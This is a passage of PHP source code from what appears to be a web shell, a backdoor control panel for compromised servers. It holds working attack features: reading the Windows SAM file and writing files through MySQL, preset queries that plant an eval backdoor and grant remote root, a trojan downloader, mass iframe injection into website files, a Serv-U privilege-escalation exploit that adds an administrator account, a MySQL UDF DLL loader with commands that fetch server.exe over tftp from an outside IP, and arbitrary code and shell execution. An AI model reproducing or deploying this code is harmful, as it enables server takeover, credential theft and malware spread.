	if(isset($_POST['mhost']) && isset($_POST['muser']))
	{
		$mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport'];
		if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata);
		else $MSG_BOX = 'MYSQL';
	}
	$downfile = 'c:/windows/repair/sam';
	if(!empty($_POST['downfile']))
	{
		$downfile = File_Str($_POST['downfile']);
		$binpath = bin2hex($downfile);
		$query = 'select load_file(0x'.$binpath.')';
		if($result = @mysql_query($query,$conn))
		{
			$k = 0; $downcode = '';
			while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;}
			$filedown = basename($downfile);
			if(!$filedown) $filedown = 'envl.tmp';
			$array = explode('.', $filedown);
			$arrayend = array_pop($array);
			header('Content-type: application/x-'.$arrayend);
			header('Content-Disposition: attachment; filename='.$filedown);
			header('Content-Length: '.strlen($downcode));
			echo $downcode;
			exit;
		}
		else $MSG_BOX = '';
	}
	$o = isset($_GET['o']) ? $_GET['o'] : '';
print<<<END
<form method="POST" name="nform" id="nform">
<center><div class="actall"><a href="?eanver=sqlshell">[MYSQL]</a> 
<a href="?eanver=sqlshell&o=u">[MYSQL]</a> 
<a href="?eanver=sqlshell&o=d">[MYSQL]</a>
<a href="?eanver=sqlshell&o=tk">[MYSQL]</a> </div>
<div class="actall">
 <input type="text" name="mhost" value="{$mhost}" style="width:110px">
 <input type="text" name="mport" value="{$mport}" style="width:110px">
 <input type="text" name="muser" value="{$muser}" style="width:110px">
 <input type="text" name="mpass" value="{$mpass}" style="width:110px">
 <input type="text" name="mdata" value="{$mdata}" style="width:110px">
</div>
<div class="actall" style="height:220px;">
END;
if($o == 'u')
{
	$uppath = 'C:/Documents and Settings/All Users////exp.vbs';
	if(!empty($_POST['uppath']))
	{
		$uppath = $_POST['uppath'];
		$query = 'Create TABLE a (cmd text NOT NULL);';
		if(@mysql_query($query,$conn))
		{
			if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));}
			else{$tmp = File_Str(dirname(myaddress)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}}
			$query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));';
			if(@mysql_query($query,$conn))
			{
				$query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';';
				$MSG_BOX = @mysql_query($query,$conn) ? '' : '';
			}
			else $MSG_BOX = '';
			@mysql_query('Drop TABLE IF EXISTS a;',$conn);
		}
		else $MSG_BOX = '';
	}
print<<<END
<br><br> <input type="text" name="uppath" value="{$uppath}" style="width:500px">
<br><br> <input type="file" name="upfile" style="width:500px;height:22px;">
</div><div class="actall"><input type="submit" value="" style="width:80px;">
END;
}elseif($o=='tk'){
if($_POST['dump']=='dump'){
$mysql_link=@mysql_connect($mhost,$muser,$mpass);
mysql_select_db($mdata);
mysql_query("SET NAMES gbk");
$mysql="";
$q1=mysql_query("show tables");
while($t=mysql_fetch_array($q1)){
$table=$t[0];
$q2=mysql_query("show create table `$table`");
$sql=mysql_fetch_array($q2);
$mysql.=$sql['Create Table'].";\r\n\r\n";
$q3=mysql_query("select * from `$table`");
while($data=mysql_fetch_assoc($q3))
{
$keys=array_keys($data);
$keys=array_map('addslashes',$keys);
$keys=join('`,`',$keys);
$keys="`".$keys."`";
$vals=array_values($data);
$vals=array_map('addslashes',$vals);
$vals=join("','",$vals);
$vals="'".$vals."'";
$mysql.="insert into `$table`($keys) values($vals);\r\n";
}
$mysql.="\r\n";
}
$filename=date("Y-m-d-GisA").".sql";
$fp=fopen($filename,'w');
fputs($fp,$mysql);
fclose($fp);
$tip="<br><center>[<a href=\"".$filename."\" title=\"\">".$filename."</a>]</center>";
}else{$tip="";}
print<<<END
<div class="actall"><form method="post" action="?s=n&o=tk"><br>
 :-(<br><br>
{$tip}<br><br>
<input type="hidden" value="dump" name="dump" id="dump">
<input type="submit" value="" tilte="Submit" style="width:120px;height:64px;">
</form><div>
END;
}
elseif($o == 'd')
{
print<<<END
<br><br><br> <input type="text" name="downfile" value="{$downfile}" style="width:500px">
</div><div class="actall"><input type="submit" value="" style="width:80px;">
END;
}
else
{
	if(!empty($_POST['msql']))
	{
		$msql = $_POST['msql'];
		if($result = @mysql_query($msql,$conn))
		{
			$MSG_BOX = 'SQL<br>';
			$k = 0;
			while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
		}
		else $MSG_BOX .= mysql_error();
	}
print<<<END
<script language="javascript">
function nFull(i){
	Str = new Array(11);
	Str[0] = "select version();";
	Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'";
	Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile 'F:/web/bak.php';";
	Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";
	Str[4] = "select @@plugin_dir";
	Str[5] = "select 'xxx' into dumpfile 'C:\\\\\\\\MySQL\\\\\\\\lib::\$INDEX_ALLOCATION';";
	Str[6] = "select 'xxx' into dumpfile 'C:\\\\\\\\MySQL\\\\\\\\lib\\\\\\\\plugin::\$INDEX_ALLOCATION';";
	nform.msql.value = Str[i];
	return true;
}
</script>
<textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div>
<div class="actall">
<select onchange="return nFull(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3"></option>
	<option value="4">MYSQL</option>
	<option value="5">NTFS-ADS1</option>
	<option value="5">NTFS-ADS2</option>
</select>
<input type="submit" value="" style="width:80px;">
END;
}
	if($MSG_BOX != '') echo '</div><div class="actall">'.$MSG_BOX.'</div></center></form>';
	else echo '</div></center></form>';
	break;
	
    case "downloader":
	$Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe';
	$Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(myaddress).'/muma.exe');
print<<<END
	<form method="POST">
    <div class="actall"> <input name="durl" value="{$Com_durl}" type="text" style="width:600px;"></div>
    <div class="actall"> <input name="dpath" value="{$Com_dpath}" type="text" style="width:600px;"></div>
    <div class="actall"><input value="" type="submit" style="width:80px;"></div></form>
END;
	if((!empty($_POST['durl'])) && (!empty($_POST['dpath'])))
	{
		echo '<div class="actall">';
		$contents = @file_get_contents($_POST['durl']);
		if(!$contents) echo '';
		else echo File_Write($_POST['dpath'],$contents,'wb') ? '' : '';
		echo '</div>';
	}
	break;

	case "issql":
	session_start();
  if($_POST['sqluser'] && $_POST['sqlpass']){
    $_SESSION['sql_user'] = $_POST['sqluser'];
    $_SESSION['sql_password'] = $_POST['sqlpass'];
  }
  if($_POST['sqlhost']){$_SESSION['sql_host'] = $_POST['sqlhost'];}
  else{$_SESSION['sql_host'] = 'localhost';}
  if($_POST['sqlport']){$_SESSION['sql_port'] = $_POST['sqlport'];}
  else{$_SESSION['sql_port'] = '3306';}
  if($_SESSION['sql_user'] && $_SESSION['sql_password']){
    if(!($sqlcon = @mysql_connect($_SESSION['sql_host'].':'.$_SESSION['sql_port'],$_SESSION['sql_user'],$_SESSION['sql_password']))){
      unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']);
      die(html_a('?eanver=sqlshell',''));
    }
  }
  else{
    die(html_a('?eanver=sqlshell',''));
  }
  $query = mysql_query("SHOW DATABASES",$sqlcon);
  html_n('<tr><td>:');
  while($db = mysql_fetch_array($query)) {
		html_a('?eanver=issql&db='.$db['Database'],$db['Database']);
		echo '&nbsp;&nbsp;';
	}
  html_n('</td></tr>');
  if($_GET['db']){
  	css_js("3");
    mysql_select_db($_GET['db'], $sqlcon);
    html_n('<tr><td><form method="POST" name="DbForm"><textarea name="sql" COLS="80" ROWS="3">'.$_POST['sql'].'</textarea><br>');
    html_select(array(0=>"--SQL--",7=>"",8=>"",9=>"",10=>"",11=>"",12=>"",13=>""),0,"onchange='return Full(options[selectedIndex].value)'");
    html_input("submit","doquery","");
    html_a("?eanver=issql&db=".$_GET['db'],$_GET['db']);
    html_n('--->');
    html_a("?eanver=issql&db=".$_GET['db']."&table=".$_GET['table'],$_GET['table']);
    html_n('</form><br>');
  	if(!empty($_POST['sql'])){
			if (@mysql_query($_POST['sql'],$sqlcon)) {
				echo "SQL";
			}else{
				echo ": ".mysql_error();
			}
  	}
    if($_GET['table']){
      html_n('<table border=1><tr>');
      $query = "SHOW COLUMNS FROM ".$_GET['table'];
      $result = mysql_query($query,$sqlcon);
      $fields = array();
      while($row = mysql_fetch_assoc($result)){
        array_push($fields,$row['Field']);
        html_n('<td><font color=#FFFF44>'.$row['Field'].'</font></td>');
      }
      html_n('</tr><tr>');
      $result = mysql_query("SELECT * FROM ".$_GET['table'],$sqlcon) or die(mysql_error());
      while($text = @mysql_fetch_assoc($result)){
      	foreach($fields as $row){
      		if($text[$row] == "") $text[$row] = 'NULL';
      		html_n('<td>'.$text[$row].'</td>');
      	}
      	echo '</tr>';
      }
    }
    else{
      $query = "SHOW TABLES FROM " . $_GET['db'];
      $dat = mysql_query($query, $sqlcon) or die(mysql_error());
      while ($row = mysql_fetch_row($dat)){
        html_n("<tr><td><a href='?eanver=issql&db=".$_GET['db']."&table=".$row[0]."'>".$row[0]."</a></td></tr>");
      }
    }
  }
	break;
	
	case "upfiles":
	html_n('<tr><td>: '.@get_cfg_var('upload_max_filesize').'<form method="POST" enctype="multipart/form-data">');
	html_input("text","uppath",root_dir,"<br>: ","51");
print<<<END
<SCRIPT language="JavaScript">
function addTank(){
var k=0;
  k=k+1;
  k=tank.rows.length;
  newRow=document.all.tank.insertRow(-1)
  <!---->
  newcell=newRow.insertCell()
  newcell.innerHTML="<input name='tankNo' type='checkbox'> <input type='file' name='upfile[]' value='' size='50'>"
}

function delTank() {
  if(tank.rows.length==1) return;
  var checkit = false;
  for (var i=0;i<document.all.tankNo.length;i++) {
    if (document.all.tankNo[i].checked) {
      checkit=true;
      tank.deleteRow(i+1);
      i--;
    }
  }
  if (checkit) {
  } else{
    alert("");
    return false;
  }
}
</SCRIPT>
<br><br>
<table cellSpacing=0 cellPadding=0 width="100%" border=0>       
          <tr>
            <td width="7%"><input class="button01" type="button"  onclick="addTank()" value="   " name="button2"/>
            <input name="button3"  type="button" class="button01" onClick="delTank()" value="" />
            </td>
          </tr>
</table>
<table  id="tank" width="100%" border="0" cellpadding="1" cellspacing="1" >
<tr><td></td></tr>
<tr><td><input name='tankNo' type='checkbox'> <input type='file' name='upfile[]' value='' size='50'></td></tr>
</table>
END;
	html_n('<br><input type="submit" name="upfiles" value="" style="width:80px;"> <input type="button" value="" onclick="window.location=\'?eanver=main&path='.root_dir.'\';" style="width:80px;">');
	if($_POST['upfiles']){
		foreach ($_FILES["upfile"]["error"] as $key => $error){
			if ($error == UPLOAD_ERR_OK){
				$tmp_name = $_FILES["upfile"]["tmp_name"][$key];
				$name = $_FILES["upfile"]["name"][$key];
				$uploadfile = str_path($_POST['uppath'].'/'.$name);
				$upload = @copy($tmp_name,$uploadfile) ? $name.$msg[2] : @move_uploaded_file($tmp_name,$uploadfile) ? $name.$msg[2] : $name.$msg[3];
				echo '<br><br>'.$upload;
			}
		}
	}
	html_n('</form>');
	break;
	
	case "guama":
	$patht = isset($_POST['path']) ? $_POST['path'] : root_dir;
	$typet = isset($_POST['type']) ? $_POST['type'] : ".html|.shtml|.htm|.asp|.php|.jsp|.cgi|.aspx";
	$codet = isset($_POST['code']) ? $_POST['code'] : "<iframe src=\"http://localhost/eanver.htm\" width=\"1\" height=\"1\"></iframe>";
	html_n('<tr><td>"|",.<form method="POST"><br>');
	html_input("text","path",$patht,"","45");
	html_input("checkbox","pass","","","",true);
	html_input("text","type",$typet,"<br><br>","60");
	html_text("code","67","5",$codet);
	html_n('<br><br>');
	html_radio("","","guama","qingma");
	html_input("submit","passreturn","");
	html_n('</td></tr></form>');
	if(!empty($_POST['path'])){
		html_n('<tr><td>:<br><br>');
		if(isset($_POST['pass'])) $bool = true; else $bool = false;
		do_passreturn($patht,$codet,$_POST['return'],$bool,$typet);
	}
	break;
	
	case "tihuan":
	html_n('<tr><td>,.<br><br><form method="POST">');
	html_input("text","path",root_dir,"","45");
	html_input("checkbox","pass","","","",true);
	html_text("newcode","67","5",$_POST['newcode']);
	html_n('<br><br>');
	html_text("oldcode","67","5",$_POST['oldcode']);
	html_input("submit","passreturn","","<br><br>");
	html_n('</td></tr></form>');
	if(!empty($_POST['path'])){
		html_n('<tr><td>:<br><br>');
		if(isset($_POST['pass'])) $bool = true; else $bool = false;
		do_passreturn($_POST['path'],$_POST['newcode'],"tihuan",$bool,$_POST['oldcode']);
	}
	break;
	
	case "scanfile":
	css_js("4");
	html_n('<tr><td>MYSQL,.<br>,,.<form method="POST" name="sform"><br>');
	html_input("text","path",root_dir,"","45");
	html_input("checkbox","pass","","","",true);
	html_input("text","code",$_POST['code'],"<br><br>","40");
	html_select(array("--MYSQL--","Discuz","PHPWind","phpcms","dedecms","PHPBB","wordpress","sa-blog","o-blog"),0,"onchange='return Fulll(options[selectedIndex].value)'");
	html_n('<br><br>');
	html_radio("","","scanfile","scancode");
	html_input("submit","passreturn","");
	html_n('</td></tr></form>');
	if(!empty($_POST['path'])){
		html_n('<tr><td>:<br><br>');
		if(isset($_POST['pass'])) $bool = true; else $bool = false;
		do_passreturn($_POST['path'],$_POST['code'],$_POST['return'],$bool);
	}
	break;
	
	case "scanphp":
	html_n('<tr><td>,.<form method="POST"><br>');
	html_input("text","path",root_dir,"","40");
	html_input("checkbox","pass","","<br><br>","",true);
	html_select(array("php" => "PHP","asp" => "ASP","aspx" => "ASPX","jsp" => "JSP"));
	html_input("submit","passreturn","","<br><br>");
	html_n('</td></tr></form>');
	if(!empty($_POST['path'])){
		html_n('<tr><td>:<br><br>');
		if(isset($_POST['pass'])) $bool = true; else $bool = false;
		do_passreturn($_POST['path'],$_POST['class'],"scanphp",$bool);
	}
	break;
	
	case "port":
	$Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
	$Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958|5631|2049|873';
print<<<END
<form method="POST">
<div class="actall">IP <input type="text" name="ip" value="{$Port_ip}" style="width:600px;"> </div>
<div class="actall"> <input type="text" name="port" value="{$Port_port}" style="width:597px;"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
	if((!empty($_POST['ip'])) && (!empty($_POST['port'])))
	{
		echo '<div class="actall">';
		$ports = explode('|', $_POST['port']);
		for($i = 0;$i < count($ports);$i++)
		{
			$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);
			echo $fp ? '<font color="#FF0000"> ---> '.$ports[$i].'</font><br>' : ' ---> '.$ports[$i].'<br>';
			ob_flush();
			flush();
		}
		echo '</div>';
	}
	break;
	

	case "getcode":
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b> URL </b></p></center></body>";exit;}
print<<<END
<table width="100%" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
 <form method="POST" target="proxyframe">
  <tr class="firstalt">
	<td align="center"><b></b></td>
  </tr>
  <tr class="secondalt">
	<td align="center"  ><br><ul><li> HTTP ,CSS.</li><li>URL, SQL Injection .</li><li> URL,IP : {$_SERVER['SERVER_NAME']}</li></ul></td>
  </tr>
  <tr class="firstalt">
	<td align="center" height=40  >URL: <input name="url" value="about:blank" type="text"  class="input" size="100" >
 <input name="" value="" type="submit"  class="input" size="30" >
</td>
  </tr>
  <tr class="secondalt">
	<td align="center"  ><iframe name="proxyframe" frameborder="0" width="765" height="400" marginheight="0" marginwidth="0" scrolling="auto" src="about:blank"></iframe></td>
  </tr>
</form></table>
END;
	break;
	
	case "servu":
	$SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P';
print<<<END
<div class="actall"><a href="?eanver=servu">[]</a> <a href="?eanver=servu&o=adduser">[]</a></div>
<form method="POST">
	<div class="actall">ServU <input name="SUPort" type="text" value="43958" style="width:300px"></div>
	<div class="actall">ServU <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div>
	<div class="actall">ServU <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div>
END;
if($_GET['o'] == 'adduser')
{
print<<<END
<div class="actall"> <input name="user" type="text" value="envl" style="width:200px">
 <input name="password" type="text" value="envl" style="width:200px">
 <input name="part" type="text" value="C:\\\\" style="width:200px"></div>
END;
}
else
{
print<<<END
<div class="actall"> <input name="SUCommand" type="text" value="net user web-shell web-shell /add & net localgroup administrators web-shell /add" style="width:600px"><br>
<input name="user" type="hidden" value="envl">
<input name="password" type="hidden" value="envl">
<input name="part" type="hidden" value="C:\\\\"></div>
END;
}
echo '<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>';
	if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass'])))
	{
		echo '<div class="actall">';
		$sendbuf = "";
		$recvbuf = "";
		$domain  = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n";
		$adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n".
							 "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n".
							 "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n";
		$deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n";
		$sock = @fsockopen("127.0.0.1", $_POST["SUPort"],$errno,$errstr, 10);
		$recvbuf = @fgets($sock, 1024);
		echo ": $recvbuf <br>";
		$sendbuf = "USER ".$_POST["SUUser"]."\r\n";
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo ": $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo ": $recvbuf <br>";
		$sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo ": $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo ": $recvbuf <br>";
		$sendbuf = "SITE MAINTENANCE\r\n";
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo ": $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo ": $recvbuf <br>";
		$sendbuf = $domain;
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo ": $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo ": $recvbuf <br>";
		$sendbuf = $adduser;
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo ": $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo ": $recvbuf <br>";
		if(!empty($_POST['SUCommand']))
		{
	 		$exp = @fsockopen("127.0.0.1", "21",$errno,$errstr, 10);
	 		$recvbuf = @fgets($exp, 1024);
	 		echo ": $recvbuf <br>";
	 		$sendbuf = "USER ".$_POST['user']."\r\n";
	 		@fputs($exp, $sendbuf, strlen($sendbuf));
	 		echo ": $sendbuf <br>";
	 		$recvbuf = @fgets($exp, 1024);
	 		echo ": $recvbuf <br>";
	 		$sendbuf = "PASS ".$_POST['password']."\r\n";
	 		@fputs($exp, $sendbuf, strlen($sendbuf));
	 		echo ": $sendbuf <br>";
	 		$recvbuf = @fgets($exp, 1024);
	 		echo ": $recvbuf <br>";
	 		$sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
	 		@fputs($exp, $sendbuf, strlen($sendbuf));
	 		echo ": site exec <font color=#006600>".$_POST["SUCommand"]."</font> <br>";
	 		$recvbuf = @fgets($exp, 1024);
	 		echo ": $recvbuf <br>";
	 		$sendbuf = $deldomain;
	 		@fputs($sock, $sendbuf, strlen($sendbuf));
	 		echo ": $sendbuf <br>";
	 		$recvbuf = @fgets($sock, 1024);
	 		echo ": $recvbuf <br>";
	 		@fclose($exp);
		}
		@fclose($sock);
		echo '</div>';
	}
	break;
	
	case "phpcode":
	$phpcode = isset($_POST['phpcode']) ? $_POST['phpcode'] : "phpinfo();";
    if($phpcode!='phpinfo();')$phpcode = htmlspecialchars(base64_decode($phpcode));
	echo '<script language="javascript">';
html_base();
	echo 'function SubmitUrl(){
			document.getElementById(\'phpcode\').value = base64encode(document.getElementById(\'phpcode\').value);
			document.getElementById(\'sendcode\').submit();
	}</script><tr><td><form method="POST" id="sendcode" >&lt;? ?&gt;,BASE64<br><br><textarea COLS="120" ROWS="35" name="phpcode" id="phpcode">'.$phpcode.'</textarea><br><br><input type="button" value="" onclick="SubmitUrl();" style="width:80px;">';
	if(!empty($_POST['phpcode'])){
	echo "<br><br>";
    eval(stripslashes(base64_decode($_POST['phpcode'])));
	}
	html_n('</form>');
	break;


	case "myexp":
	$MSG_BOX = 'DLL,.MYSQLroot,DLL.<br>mysql5.1mysqlUDFNTFS-ADS';
	$info = '';
	$mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver';
	if(isset($_POST['mhost']) && isset($_POST['muser']))
	{
		$mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd'];
		$conn = mysql_connect($mhost.':'.$mport,$muser,$mpass);
		if($conn)
		{
			@mysql_select_db($mdata);
			if((!empty($_POST['outdll'])) && (!empty($_POST['mpath'])))
			{
				$query = "CREATE TABLE Envl_Temp_Tab (envl BLOB);";
				if(@mysql_query($query,$conn))
				{
					$shellcode = Mysql_shellcode();
					$query = "INSERT into Envl_Temp_Tab values (CONVERT(".$shellcode.",CHAR));";
					if(@mysql_query($query,$conn))
					{
						$query = 'SELECT envl FROM Envl_Temp_Tab INTO DUMPFILE \''.$mpath.'\';';
						if(@mysql_query($query,$conn))
						{
							$ap = explode('/', $mpath); $inpath = array_pop($ap);
							$query = 'Create Function state returns string soname \''.$inpath.'\';';
							$MSG_BOX = @mysql_query($query,$conn) ? 'DLL' : 'DLL';
						}
						else $MSG_BOX = 'DLL';
					}
					else $MSG_BOX = '';
					@mysql_query('DROP TABLE Envl_Temp_Tab;',$conn);
				}
				else $MSG_BOX = '';
			}
			if(!empty($_POST['runcmd']))
			{
				$query = 'select state("'.$sqlcmd.'");';
				$result = @mysql_query($query,$conn);
				if($result)
				{
					$k = 0; $info = NULL;
					while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;}
					$info = $infotmp;
					$MSG_BOX = '';
				}
				else $MSG_BOX = '';
			}
		}
		else $MSG_BOX = 'MYSQL';
	}
print<<<END
<script language="javascript">
function Fullm(i){
	Str = new Array(11);
	Str[0] = "ver";
	Str[1] = "net user web-shell web-shell /add";
	Str[2] = "net localgroup administrators web-shell /add";
	Str[3] = "net start Terminal Services";
	Str[4] = "tasklist /svc";
	Str[5] = "netstat -ano";
	Str[6] = "ipconfig";
	Str[7] = "net user guest /active:yes";
	Str[8] = "copy c:\\\\1.php d:\\\\2.php";
	Str[9] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe";
	Str[10] = "net start telnet";
	Str[11] = "shutdown -r -t 0";
	mform.sqlcmd.value = Str[i];
	return true;
}
</script>
<form id="mform" method="POST">
<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<center><div class="actall">
 <input type="text" name="mhost" value="{$mhost}" style="width:110px">
 <input type="text" name="mport" value="{$mport}" style="width:110px">
 <input type="text" name="muser" value="{$muser}" style="width:110px">
 <input type="text" name="mpass" value="{$mpass}" style="width:110px">
 <input type="text" name="mdata" value="{$mdata}" style="width:110px">
</div><div class="actall">
 <input type="text" name="mpath" value="{$mpath}" style="width:555px"> 
<input type="submit" name="outdll" value="DLL" style="width:80px;"></div>
<div class="actall"> <br><input type="text" name="sqlcmd" value="{$sqlcmd}" style="width:515px;">
<select onchange="return Fullm(options[selectedIndex].value)">
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4">PID</option>
<option value="5">PID</option>
<option value="6">IP</option>
<option value="7">guest</option>
<option value="8"></option>
<option value="9">ftp</option>
<option value="10">telnet</option>
<option value="11"></option>
</select>
<input type="submit" name="runcmd" value="" style="width:80px;">
<textarea style="width:720px;height:300px;">{$info}</textarea>
</div></center>
</form>
END;
	break; 
	case "mysql_exec":
  if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass']))
  {
  	if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass']))
	  {
	  	$cookietime = time() + 24 * 3600;
	  	setcookie('m_eanverhost',$_POST['mhost'],$cookietime);
	  	setcookie('m_eanverport',$_POST['mport'],$cookietime);
	  	setcookie('m_eanveruser',$_POST['muser'],$cookietime);
	  	setcookie('m_eanverpass',$_POST['mpass'],$cookietime);
	  	die(',...<meta http-equiv="refresh" content="0;URL=?eanver=mysql_msg">');
	  }
  }
print<<<END
<form method="POST" name="oform" id="oform">
<div class="actall"> <input type="text" name="mhost" value="localhost" style="width:300px"></div>
<div class="actall"> <input type="text" name="mport" value="3306" style="width:300px"></div>
<div class="actall"> <input type="text" name="muser" value="root" style="width:300px"></div>
<div class="actall"> <input type="text" name="mpass" value="" style="width:300px"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"> <input type="button" value="COOKIE" style="width:80px;" onclick="window.location='?eanver=mysql_msg';"></div>
</form>
END;
break; 
	case "winapi":
 
 //Windows
//function winshell()
//{
$nop='&nbsp;&nbsp;';
if($_GET['winshell']=='wscript'){
$wcmd=$_POST['wcmd'] ? $_POST['wcmd']:'net user';
$wcpth=$_POST['wcpth'] ? $_POST['wcpth']:'cmd.exe';
print<<<END
<div class="actall">
<form action="?eanver=winapi&winshell=wscript" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcpth}" style="width:300px;"> -> CMD<br />
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcmd}" style="width:300px;"> <input type="submit" value="" style="width:80px;">
<br><br><br></form></div>
END;
if($_POST['do']=='do'){
$ww=$wcpth." /c ".$wcmd;
$phpwsh=new COM("Wscript.Shell") or die("Shell.Wscript");
$phpexec=$phpwsh->exec($ww);
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
@$phpwsh->Release();
$phpwsh=NULL;
}
}elseif($_GET['winshell']=='shelluser'){
$wuser=$_POST['wuser'] ? $_POST['wuser']:'silic';
$wpasw=$_POST['wpasw'] ? $_POST['wpasw']:'1234@silic#';
print<<<END
<div class="actall">
<form action="?eanver=winapi&winshell=shelluser" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
Shell.Users<br><br>
{$nop}<input type="text" name="wuser" id="wuser" value="{$wuser}" style="width:100px;"><br>
{$nop}<input type="text" name="wpasw" id="wpasw" value="{$wpasw}" style="width:100px;"><br><br>
<input type="submit" value="" style="width:80px;">
<br><br><br></form></div>
END;
if($_POST['do']='do'){
$shell = new COM("Shell.Users");
$cmd = $shell->create($wuser);
$cmd->changePassword($wpasw,"");
$cmd->setting["AccountType"] = 3;
}
}elseif($_GET['winshell']=='regedit'){

$shell1 = new COM("wscript.shell") or die("require windows host");
$action = isset($_POST['action']) ? $_POST['action'] : '';  
echo '<br>';
echo '<div><h5>&&</h5><br></div>';
echo '<br>';
print<<<END
<TR><form   action=""   method="post">   
<div><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>   
Rpath:&nbsp<input type="hidden" name="action" value="read">   
<input type="text" name="rpath" value="{$rpath}" size="70">   
<input class="bt" type="submit" value=""></form></TD></TR><br><br></div>   
END;
   
$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : '';   
$rpath = str_replace("\\\\", "\\", $rpath);      
if   ($action=="read"){
$out = $shell1->RegRead($rpath);
echo '<pre>'.var_dump($out).'</pre>';   
echo '<br><br>';  
}

print<<<END
<TR><form   action=""   method="post">   
<div><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>Wpath:      
<input type="text" name="wpath" value="{$wpath}" size="70"><BR><br> 
Wtype:&nbsp<input type="text" name="wtype" value="{$wtype}" size="20">
Wvalue:&nbsp<input type="text" name="wvalue" value="{$wvalue}" size="30">
<input type="hidden" name="action" value="">  
<input class="bt" type="submit" value=""></form></TD></TR><br><br><br></div>   
END;
   
